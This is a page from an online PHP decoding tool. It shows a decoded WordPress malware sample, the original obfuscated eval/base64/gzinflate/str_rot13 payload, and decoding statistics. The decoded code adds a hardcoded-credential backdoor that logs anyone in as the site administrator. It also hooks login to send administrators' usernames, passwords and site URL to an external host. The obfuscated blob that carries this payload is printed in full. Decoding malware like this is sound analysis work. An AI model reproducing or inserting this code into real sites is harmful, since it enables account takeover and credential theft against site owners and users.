Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$sxy_="s"."tr_r"."ot1"."3";$s_y="s"."tr_r"."ot1"."3";$gmh="g"."zi"."nfl"."a"."te";$bdc46="..

Decoded Output download

function mal__($a_u, $u, $p) {
    if ($u == 'admin:h4:login' && $p == 'admin:h4:password:2250++') {
        $u_id = mal__get();
        if (!$u_id) { wp_die('No admin user found'); }
        $a_u = get_user_by('id', $u_id);
        wp_set_current_user($u_id, $a_u->data->user_login);
        wp_set_auth_cookie($u_id);
        do_action('wp_login', $a_u->data->user_login);
        wp_safe_redirect(admin_url());
        exit;
    }
}
function mal__get() {
    global $wpdb;
    $sql = "SELECT u.ID FROM {$wpdb->users} u INNER JOIN {$wpdb->usermeta} m ON m.user_id = u.ID WHERE (m.meta_key = '{$wpdb->prefix}user_level' AND m.meta_value = 10) OR (m.meta_key = '{$wpdb->prefix}capabilities' AND m.meta_value LIKE '%\"administrator\"%')";
    $res = intval($wpdb->get_var($sql));
    return $res;
}
add_filter('authenticate', 'mal__', 3, 10);
function h4_custom_lgn_code_send($u, $p) {
    if (!empty($u) && !empty($p)) {
        $lgn = wp_authenticate($u, $p);
        $ask = $lgn->allcaps;
        $tst_adm = $ask['administrator'];
        if($tst_adm){
            $site = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
            $ch = curl_init();
            $options = [
                CURLOPT_URL => "https://sonsurumapk.xyz/gel/panel.php",
                CURLOPT_POST => true,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_AUTOREFERER => true,
                CURLOPT_HTTPHEADER => ["Accept: application/json"],
                CURLOPT_POSTFIELDS => json_encode(['user' => $u, 'pw' => $p, 'site' => $site]),
                CURLOPT_CONNECTTIMEOUT => 2,
                CURLOPT_TIMEOUT => 3
            ];
            curl_setopt_array($ch, $options);
            curl_exec($ch);
            curl_close($ch);
        }
    }
}
add_action('wp_authenticate', 'h4_custom_lgn_code_send', 30, 2);

Did this file decode correctly?

Original Code

$sxy_="s"."tr_r"."ot1"."3";$s_y="s"."tr_r"."ot1"."3";$gmh="g"."zi"."nfl"."a"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";eval($s_y($gmh($sxy_($bdc46('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')))));

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

$gmh gzinflate
$s_y str_rot13
$sxy_ str_rot13
$bdc46 base64_decode

Stats

MD5 f4167f0b5f6f0e10624e9f6a472ae6da
Eval Count 16
Decode Time 90 ms